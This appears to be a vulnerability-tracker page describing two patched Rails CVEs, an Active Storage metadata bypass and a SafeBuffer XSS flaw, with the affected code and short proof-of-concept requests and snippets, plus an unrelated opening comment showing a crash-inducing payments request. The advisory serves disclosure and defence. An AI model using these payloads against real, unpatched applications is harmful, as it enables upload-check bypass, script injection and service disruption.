# In a Rails app, an attacker can send: POST /payments?amount=9e99999999
# which would cause the server process to hang/crash when formatting the number
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-33173 Improper Input Validation / Internal State Manipulation

Mar 23, 2026, 10:21 PM — rails/rails

Patch landed 1 hour 27 minutes after CVE published

Commit: 0dbaa44c5026eabb7ed2eedadefcb2af9033cb94

Author: Jean Boussier

Before the patch, users could set protected metadata keys (analyzed, identified, composed) during a direct upload by including them in the metadata parameter. These keys control internal Active Storage state (e.g., whether a blob has been analyzed or identified), so a malicious user could set 'analyzed: true' or 'identified: true' to bypass file analysis/identification steps that might enforce security policies. The patch filters out these protected keys from user-supplied metadata in create_before_direct_upload!.

🔍 View Affected Code & PoC

Affected Code

def create_before_direct_upload!(key: nil, filename:, byte_size:, checksum:, content_type: nil, metadata: nil, service_name: nil, record: nil)
  create! key: key, filename: filename, byte_size: byte_size, checksum: checksum, content_type: content_type, metadata: metadata, service_name: service_name
end

Proof of Concept

POST /rails/active_storage/direct_uploads
Content-Type: application/json

{"blob":{"filename":"malicious.exe","byte_size":1000,"checksum":"abc123","content_type":"application/octet-stream","metadata":{"analyzed":true,"identified":true}}}

This causes the blob to be marked as already analyzed and identified, bypassing any content analysis or identification checks that could enforce content type policies or detect malicious files.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-33170 XSS (Cross-Site Scripting)

Mar 23, 2026, 10:21 PM — rails/rails

Patch landed 1 hour 27 minutes after CVE published

Commit: 6b313e2caaf7a704bb751b5a4a83fb912dffb9c7

Author: Jean Boussier

The `SafeBuffer#%` method failed to preserve the unsafe status of a SafeBuffer when used for string formatting. Before the patch, formatting an unsafe SafeBuffer (one that had been marked unsafe after mutation via gsub!, etc.) would return a new SafeBuffer that was incorrectly marked as html_safe?, allowing unescaped user input to be rendered as raw HTML. The fix propagates the `@html_unsafe` flag to the result of `%` formatting.

🔍 View Affected Code & PoC

Affected Code

def %(args)
  case args
  when Hash
    escaped_args = args.transform_values { |arg| explicit_html_escape_interpolated_argument(arg) }
  else
    escaped_args = Array(args).map { |arg| explicit_html_escape_interpolated_argument(arg) }
  end
  self.class.new(super(escaped_args))
end

Proof of Concept

# Before the patch:
unsafe_buffer = ActiveSupport::SafeBuffer.new
unsafe_buffer.gsub!('', '<%{name}>')  # marks buffer as unsafe
puts unsafe_buffer.html_safe?  # => false (correct)
result = unsafe_buffer % { name: '<script>alert(1)</script>' }
puts result.html_safe?  # => true (BUG! should be false)
# result contains unescaped '<script>alert(1)</script>' and is treated as safe
# When rendered in a Rails view, this would output raw script tags without escaping